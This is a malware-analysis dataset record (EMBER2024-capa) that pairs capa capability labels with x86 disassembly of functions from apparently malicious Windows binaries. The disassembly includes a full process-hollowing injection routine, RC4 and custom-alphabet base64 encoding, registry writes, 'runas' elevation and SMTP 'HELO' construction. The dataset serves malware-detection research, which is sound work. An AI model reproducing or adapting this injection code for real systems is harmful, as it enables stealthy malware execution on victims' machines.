joyce8/EMBER2024-capa huggingface dataset:
Function at 0x452c70
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x475c80
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00452820
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.004528a0
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.004528a0
lea ecx, [esi + 0xc]
call fcn.00467181
lea ecx, [esi + 0x10]
call fcn.00467181
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.004550d0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.004550d0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.004550d0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.004671f6
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004671f6
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x453918
Capabilities:
Get hostname

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x475ea8
push eax
mov dword fs:[0], esp
sub esp, 0x64
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x453928
call fcn.00453e40
mov edi, dword [esp + 0x7c]
test edi, edi
je 0x453a0b
cmp byte [edi], 0
je 0x453a0b
mov eax, dword [esp + 0x8c]
test eax, eax
jg 0x45394d
mov eax, 0x7d0
mov ecx, esi
mov dword [esi + 8], eax
call fcn.00452640
test eax, eax
jne 0x45396d
push 0x4b350c
lea ecx, [esi + 0x38]
call fcn.00467333
jmp 0x453a0b
mov eax, dword [esp + 0x80]
mov ecx, esi
push eax
push edi
call fcn.00452690
test eax, eax
jne 0x45399c
mov ecx, esi
call fcn.00452790
push edi
add esi, 0x38
push 0x4b34e8
push esi
call fcn.00465192
add esp, 0xc
jmp 0x453a0b
push 0xdc
mov ecx, esi
mov dword [esi + 4], 1
call fcn.004546c0
test eax, eax
je 0x453a04
lea ecx, [esp + 8]
push 0x64
push ecx
call sub.WS2_32.dll_gethostname
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x84]
lea edx, [esp + 0x8c]
mov dword [esp + 0x8c], 1
push edx
push eax
lea edx, [esp + 0x10]
push ecx
push edx
mov ecx, esi
call fcn.00453ae0
test eax, eax
jne 0x453a20
push edi
lea eax, [esi + 0x38]
push 0x4b34c4
push eax
call fcn.00465192
add esp, 0xc
mov ecx, esi
call fcn.00453e40
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
mov eax, dword [esp + 0x8c]
test eax, eax
je 0x453ac8
mov ecx, dword [0x4b379c]
mov dword [esp + 0x7c], ecx
lea edx, [esp + 8]
lea eax, [esp + 0x7c]
push edx
push str.HELO__s_r_n
push eax
mov dword [esp + 0x80], 0
call fcn.00465192
mov edx, dword [esp + 0x88]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov ecx, esi
call fcn.00452740
test eax, eax
jne 0x453a8a
push 0x4b34a8
lea ecx, [esi + 0x38]
call fcn.00467333
jmp 0x453a9a
push 0xfa
mov ecx, esi
call fcn.004546c0
test eax, eax
jne 0x453ab7
mov ecx, esi
call fcn.00453e40
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.004671f6
jmp 0x453a0b
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.004671f6
mov ecx, dword [esp + 0x6c]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
Function at 0x46959a
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4695d2
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00467651
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00467629
jmp 0x4695de
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x46ac8b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x46accd
call fcn.00470a48
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x46accd
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x46acc4
xor eax, eax
jmp 0x46acd5
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0046acdb
pop edi
pop esi
pop ebx
ret 4

Function at 0x470f78
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x470fa6
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x470fc4
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00470ede
jmp 0x470fc4
mov eax, dword [esi + 0x14]
test eax, eax
je 0x470fc4
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00470ede
test edi, edi
mov eax, edi
jne 0x470fae
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x402ea0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push ebx
cmovae eax, dword [ebp + 0x20]
push esi
push edi
push dword [ebp + 0x30]
mov dword [ebp - 4], ecx
mov ecx, 0x448070
push eax
call fcn.00414eb0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x447a28
push eax
call fcn.00414eb0
mov esi, dword [0x448080]
xor ebx, ebx
mov edi, dword [0x448084]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0x449918], bl
mov eax, ebx
mov ecx, 0x448070
cmovae ecx, dword [0x448070]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0x449a20], al
inc ebx
cmp ebx, 0x100
jl 0x402ef0
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0x449918]
movzx eax, byte [esi + 0x449a20]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x402f44
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0x449918]
mov byte [esi + 0x449918], al
inc esi
mov byte [edi + 0x449918], dl
cmp esi, 0x100
jl 0x402f20
mov esi, dword [ebp - 4]
mov ecx, esi
call fcn.00402ba0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x402f99
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402f8f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402fe4
push edx
push ecx
call fcn.00417582
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x402fdb
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402fd1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402fe4
push edx
push ecx
call fcn.00417582
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0041ea01
int3
Function at 0x402ff0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 8]
mov eax, 0xaaaaaaab
mov dword [ebp - 4], edx
mov ebx, ecx
push edi
push 0x3d
mov esi, dword [esi]
add esi, 2
mov dword [ebp - 8], ebx
mul esi
shr edx, 1
shl edx, 2
push edx
call fcn.00414630
cmp dword [ebx + 0x14], 0x10
mov edi, ebx
jb 0x403027
mov edi, dword [ebx]
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [ebp + 8], 3
xor esi, esi
mov ecx, dword [eax]
mov eax, ecx
div dword [ebp + 8]
sub ecx, edx
mov dword [ebp + 8], edx
mov dword [ebp - 0xc], ecx
je 0x4030cd
mov ebx, dword [ebp - 4]
dec ecx
mov eax, 0xaaaaaaab
add ebx, 2
mul ecx
shr edx, 1
inc edx
nop dword [eax + eax]
movsx ecx, byte [ebx - 2]
lea ebx, [ebx + 3]
movsx eax, byte [ebx - 4]
shl ecx, 8
or ecx, eax
movsx eax, byte [ebx - 3]
shl ecx, 8
or ecx, eax
mov eax, ecx
sar eax, 0x12
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi + esi], al
mov eax, ecx
sar eax, 0xc
and eax, 0x3f
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi + esi + 1], al
mov eax, ecx
sar eax, 6
and ecx, 0x3f
and eax, 0x3f
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi + esi + 2], al
movzx eax, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi + esi + 3], al
add esi, 4
sub edx, 1
jne 0x403060
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
test edx, edx
je 0x403144
mov eax, dword [ebp - 4]
movsx eax, byte [ecx + eax]
sub edx, 1
je 0x4030f7
mov ebx, dword [ebp - 4]
shl eax, 8
movsx ecx, byte [ecx + ebx + 1]
mov ebx, dword [ebp - 8]
or ecx, eax
mov eax, ecx
sar eax, 0xa
and eax, 0x3f
jmp 0x4030fc
mov ecx, eax
sar eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi + esi], al
mov eax, ecx
test edx, edx
je 0x403113
sar eax, 4
and eax, 0x3f
jmp 0x403119
and eax, 3
shl eax, 4
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi + esi + 1], al
test edx, edx
je 0x40313e
and ecx, 0xf
mov al, byte [ecx*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edi + esi + 2], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov al, 0x3d
mov byte [edi + esi + 2], al
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403150
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ebx, dword [eax]
mov edi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 0x18], edi
test ebx, ebx
jne 0x40318a
push ebx
push 0x44358f
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], 0xf
mov byte [edi], bl
call fcn.00414eb0
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, ebx
xor esi, esi
and eax, 3
jne 0x4031a1
cmp byte [ebx + edx - 1], 0x3d
je 0x4031a1
xor ecx, ecx
mov dword [ebp + 8], ecx
jmp 0x4031bb
mov ecx, 1
mov dword [ebp + 8], ecx
cmp eax, 2
ja 0x4031b9
cmp byte [ebx + edx - 2], 0x3d
jne 0x4031b9
xor eax, eax
jmp 0x4031bb
mov eax, ecx
sub ebx, ecx
mov dword [ebp - 0x10], eax
and ebx, 0xfffffffc
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
shr ecx, 2
push 0
lea eax, [eax + ecx*2]
add eax, ecx
lea ecx, [ebp - 0x34]
add eax, dword [ebp + 8]
push eax
call fcn.00414630
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x40326b
mov edx, dword [ebp - 8]
lea eax, [ebx - 1]
mov ebx, dword [ebp - 0xc]
add edx, 2
shr eax, 2
inc eax
mov dword [ebp - 0x14], eax
mov edi, eax
nop word [eax + eax]
movzx eax, byte [edx - 2]
lea edx, [edx + 4]
mov ecx, dword [eax*4 + 0x4442e0]
movzx eax, byte [edx - 5]
shl ecx, 6
or ecx, dword [eax*4 + 0x4442e0]
movzx eax, byte [edx - 4]
shl ecx, 6
or ecx, dword [eax*4 + 0x4442e0]
movzx eax, byte [edx - 3]
shl ecx, 6
or ecx, dword [eax*4 + 0x4442e0]
mov eax, ecx
sar eax, 0x10
mov byte [ebx + esi], al
mov eax, ecx
sar eax, 8
mov byte [ebx + esi + 1], al
mov byte [ebx + esi + 2], cl
add esi, 3
sub edi, 1
jne 0x403210
mov edi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x1c]
cmp dword [ebp + 8], 0
je 0x4032ba
add ebx, dword [ebp - 8]
movzx eax, byte [ebx]
movzx ecx, byte [ebx + 1]
mov edx, dword [eax*4 + 0x4442e0]
shl edx, 6
or edx, dword [ecx*4 + 0x4442e0]
mov ecx, dword [ebp - 0xc]
shl edx, 0xc
mov eax, edx
sar eax, 0x10
cmp dword [ebp - 0x10], 0
mov byte [ecx + esi], al
je 0x4032ba
movzx eax, byte [ebx + 2]
sar edx, 8
mov eax, dword [eax*4 + 0x4442e0]
shl eax, 6
sar eax, 8
or al, dl
mov byte [ecx + esi + 1], al
movups xmm0, xmmword [ebp - 0x34]
mov eax, edi
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x24]
movq qword [edi + 0x10], xmm0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4035f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push esi
push edi
push 0x400
lea eax, [ebp - 0x408]
mov esi, edx
push 0
push eax
mov edi, ecx
call fcn.00419150
add esp, 0xc
mov dword [ebp - 8], 0x400
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 4]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push 1
push 0
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40365f
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x408]
push ecx
push 0
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push 0
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x408]
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
lea edx, [ecx + 1]
mov byte [edi], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403682
sub ecx, edx
lea eax, [ebp - 0x408]
push ecx
push eax
mov ecx, edi
call fcn.00414eb0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x4036ca
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4036c0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403714
push edx
push ecx
call fcn.00417582
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x40370c
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403702
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403714
push edx
push ecx
call fcn.00417582
add esp, 8
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.0041ea01
int3
Function at 0x403720
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 4]
push ecx
push 0xf003f
lea eax, [ebp + 8]
mov dword [ebp - 4], 0x80000001
cmovae eax, dword [ebp + 8]
push 0
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40377d
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
mov eax, dword [ebp + 0x48]
lea ecx, [ebp + 0x20]
cmovae edx, dword [ebp + 0x38]
cmp dword [ebp + 0x34], 0x10
cmovae ecx, dword [ebp + 0x20]
inc eax
push eax
push edx
push 2
push 0
push ecx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x4037ba
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4037b0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403842
push edx
push ecx
call fcn.00417582
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x4037fc
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4037f2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403842
push edx
push ecx
call fcn.00417582
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x40383e
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403834
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403842
push edx
push ecx
call fcn.00417582
add esp, 8
mov esp, ebp
pop ebp
ret
call fcn.0041ea01
int3
Function at 0x4044a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
lea eax, [ebp - 0x170]
push ebx
push esi
push edi
push 0x104
push eax
push 0
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x404641
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x404641
push 0x44
lea eax, [ebp - 0x68]
push 0
push eax
call fcn.00419150
add esp, 0xc
lea eax, [ebp - 0x1c]
xorps xmm0, xmm0
movups xmmword [ebp - 0x1c], xmm0
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x404641
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push ebx
mov dword [ebp - 0x20], ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x404641
push 0
push 4
lea eax, [ebp - 4]
push eax
push 0x4441f4
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [edi + 0x34]
cmp dword [ebp - 4], eax
jne 0x404591
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 4]
push dword [ebp - 0x1c]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x404641
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
cmp ax, word [edi + 6]
jae 0x404607
mov ecx, 0xa0
xor ebx, ebx
mov dword [ebp - 8], ecx
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x68]
mov eax, dword [ecx + 0x6c]
add eax, esi
push eax
mov eax, dword [ecx + 0x64]
add eax, dword [ebp - 0xc]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 8]
inc ebx
movzx eax, word [edi + 6]
add ecx, 0x28
mov dword [ebp - 8], ecx
cmp ebx, eax
jl 0x4045d2
mov ebx, dword [ebp - 0x20]
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0xc]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404d40
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x404d5d
cmp byte [eax], 0x31
jne 0x404d5d
mov cl, 1
jmp 0x404d5f
xor cl, cl
xor edx, edx
mov eax, 5
test cl, cl
lea ecx, [ebp + 8]
push esi
cmove eax, edx
mov edx, str.runas
push eax
mov eax, 0x44358f
cmovne eax, edx
push eax
call fcn.00414eb0
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
push 0
cmovae edx, dword [ebp + 0x38]
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 8]
push 0
cmovae ecx, dword [ebp + 0x20]
cmp dword [ebp + 0x1c], 0x10
push edx
cmovae eax, dword [ebp + 8]
push ecx
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, dword [ebp + 0x1c]
mov esi, eax
mov dword [0x449b20], esi
cmp edx, 0x10
jb 0x404def
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404de5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404e78
push edx
push ecx
call fcn.00417582
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x404e31
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404e27
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404e78
push edx
push ecx
call fcn.00417582
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x404e73
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404e69
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404e78
push edx
push ecx
call fcn.00417582
add esp, 8
mov eax, esi
pop esi
pop ebp
ret
call fcn.0041ea01
int3
Function at 0x404fb0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
mov dword [0x449a18], 0
call esi
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x449b88]
cmp eax, dword [ecx + 4]
jle 0x40505b
push 0x449b88
call fcn.0041722b
add esp, 4
cmp dword [0x449b88], 0xffffffff
jne 0x40505b
push 0x436ec0
mov dword [0x449b50], 0
mov dword [0x449b54], 0xf
mov byte [0x449b40], 0
mov dword [0x449b68], 0
mov dword [0x449b6c], 0xf
mov byte [0x449b58], 0
mov dword [0x449b80], 0
mov dword [0x449b84], 0xf
mov byte [0x449b70], 0
call fcn.0041756d
push 0x449b88
call fcn.004171e1
add esp, 8
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x449b40
push eax
call fcn.00414eb0
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
mov ecx, 0x449b58
push eax
call fcn.00414eb0
cmp dword [ebp + 0x4c], 0x10
lea eax, [ebp + 0x38]
push dword [ebp + 0x48]
cmovae eax, dword [ebp + 0x38]
mov ecx, 0x449b70
push eax
call fcn.00414eb0
push 0
push 0
push 0x449b40
push 0x404e80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call esi
mov edx, dword [ebp + 0x1c]
mov esi, dword [0x449a18]
cmp edx, 0x10
jb 0x4050ff
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4050f5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405188
push edx
push ecx
call fcn.00417582
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x405141
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405137
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405188
push edx
push ecx
call fcn.00417582
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x405183
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405179
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405188
push edx
push ecx
call fcn.00417582
add esp, 8
mov eax, esi
pop esi
pop ebp
ret
call fcn.0041ea01
int3